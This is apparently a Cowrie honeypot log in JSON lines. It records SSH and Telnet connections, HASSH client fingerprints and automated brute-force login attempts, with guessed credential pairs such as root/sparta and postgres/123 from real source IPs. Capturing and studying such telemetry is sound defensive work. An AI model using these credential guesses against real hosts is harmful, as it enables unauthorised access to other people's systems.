{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:45.719515Z","src_ip":"45.156.87.204","session":"6fc5a3946992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:45.967368Z","src_ip":"45.156.87.204","session":"6fc5a3946992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.19771194458008,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:46.696645Z","src_ip":"152.42.224.71","session":"abd4e1912413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:47.158976Z","src_ip":"45.156.87.204","session":"6fc5a3946992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40264,"dst_ip":"10.17.0.5","dst_port":22,"session":"89d14116e6a1","protocol":"ssh","message":"New connection: 87.251.79.125:40264 (10.17.0.5:22) [session: 89d14116e6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.076396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.081470Z","src_ip":"87.251.79.125","session":"89d14116e6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6e570fff927","protocol":"ssh","message":"New connection: 45.156.87.204:34144 (159.203.135.109:22) [session: d6e570fff927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.123995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.128456Z","src_ip":"45.156.87.204","session":"d6e570fff927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.155303Z","src_ip":"87.251.79.125","session":"89d14116e6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.258768Z","src_ip":"45.156.87.204","session":"d6e570fff927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sparta","message":"login attempt [root/sparta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.374783Z","src_ip":"87.251.79.125","session":"89d14116e6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55510,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe566d79ae2b","protocol":"telnet","message":"New connection: 152.42.224.71:55510 (10.17.0.5:23) [session: fe566d79ae2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.381999Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:49.735018Z","src_ip":"45.156.87.204","session":"d6e570fff927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:50.450721Z","src_ip":"87.251.79.125","session":"89d14116e6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:50.819265Z","src_ip":"45.156.87.204","session":"d6e570fff927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.565420627593994,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:51.031949Z","src_ip":"152.42.224.71","session":"7d8742189918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154638290405,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:51.652499Z","src_ip":"152.42.224.71","session":"68a9728e5625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33376,"dst_ip":"159.203.135.109","dst_port":22,"session":"1942d51e2cbb","protocol":"ssh","message":"New connection: 45.156.87.204:33376 (159.203.135.109:22) [session: 1942d51e2cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:52.987163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:52.991395Z","src_ip":"45.156.87.204","session":"1942d51e2cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:53.072140Z","src_ip":"45.156.87.204","session":"1942d51e2cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:53.443301Z","src_ip":"45.156.87.204","session":"1942d51e2cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:54.528481Z","src_ip":"45.156.87.204","session":"1942d51e2cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33384,"dst_ip":"159.203.135.109","dst_port":22,"session":"b55b044cea4b","protocol":"ssh","message":"New connection: 45.156.87.204:33384 (159.203.135.109:22) [session: b55b044cea4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:56.464232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:56.468606Z","src_ip":"45.156.87.204","session":"b55b044cea4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:56.549890Z","src_ip":"45.156.87.204","session":"b55b044cea4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:56.793976Z","src_ip":"45.156.87.204","session":"b55b044cea4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:57.879068Z","src_ip":"45.156.87.204","session":"b55b044cea4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57900,"dst_ip":"10.17.0.5","dst_port":23,"session":"a911ec3714f2","protocol":"telnet","message":"New connection: 152.42.224.71:57900 (10.17.0.5:23) [session: a911ec3714f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:01.265763Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":56334,"dst_ip":"159.203.135.109","dst_port":22,"session":"f296e4776967","protocol":"ssh","message":"New connection: 43.128.86.117:56334 (159.203.135.109:22) [session: f296e4776967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:06.051580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:06.058117Z","src_ip":"43.128.86.117","session":"f296e4776967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:06.301780Z","src_ip":"43.128.86.117","session":"f296e4776967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahmoud","password":"mahmoud","message":"login attempt [mahmoud/mahmoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:07.280192Z","src_ip":"43.128.86.117","session":"f296e4776967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":39628,"dst_ip":"10.17.0.5","dst_port":22,"session":"4693ac74bd50","protocol":"ssh","message":"New connection: 103.27.238.114:39628 (10.17.0.5:22) [session: 4693ac74bd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:07.938264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:07.943488Z","src_ip":"103.27.238.114","session":"4693ac74bd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:08.216608Z","src_ip":"103.27.238.114","session":"4693ac74bd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:08.522947Z","src_ip":"43.128.86.117","session":"f296e4776967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx12","message":"login attempt [root/qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:09.033029Z","src_ip":"103.27.238.114","session":"4693ac74bd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d3523cb0cc","protocol":"telnet","message":"New connection: 152.42.224.71:40720 (10.17.0.5:23) [session: 88d3523cb0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:09.638859Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:10.307621Z","src_ip":"103.27.238.114","session":"4693ac74bd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176882743835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:11.014899Z","src_ip":"152.42.224.71","session":"514e0d20296a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.79077434539795,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:11.385711Z","src_ip":"152.42.224.71","session":"c2af48125342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.211359739303589,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:12.850073Z","src_ip":"152.42.224.71","session":"88d3523cb0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":38668,"dst_ip":"159.203.135.109","dst_port":22,"session":"655ad2bec952","protocol":"ssh","message":"New connection: 45.183.70.66:38668 (159.203.135.109:22) [session: 655ad2bec952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:15.576444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:15.582240Z","src_ip":"45.183.70.66","session":"655ad2bec952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:10:15.702521Z","src_ip":"45.183.70.66","session":"655ad2bec952","protocol":"ssh"}
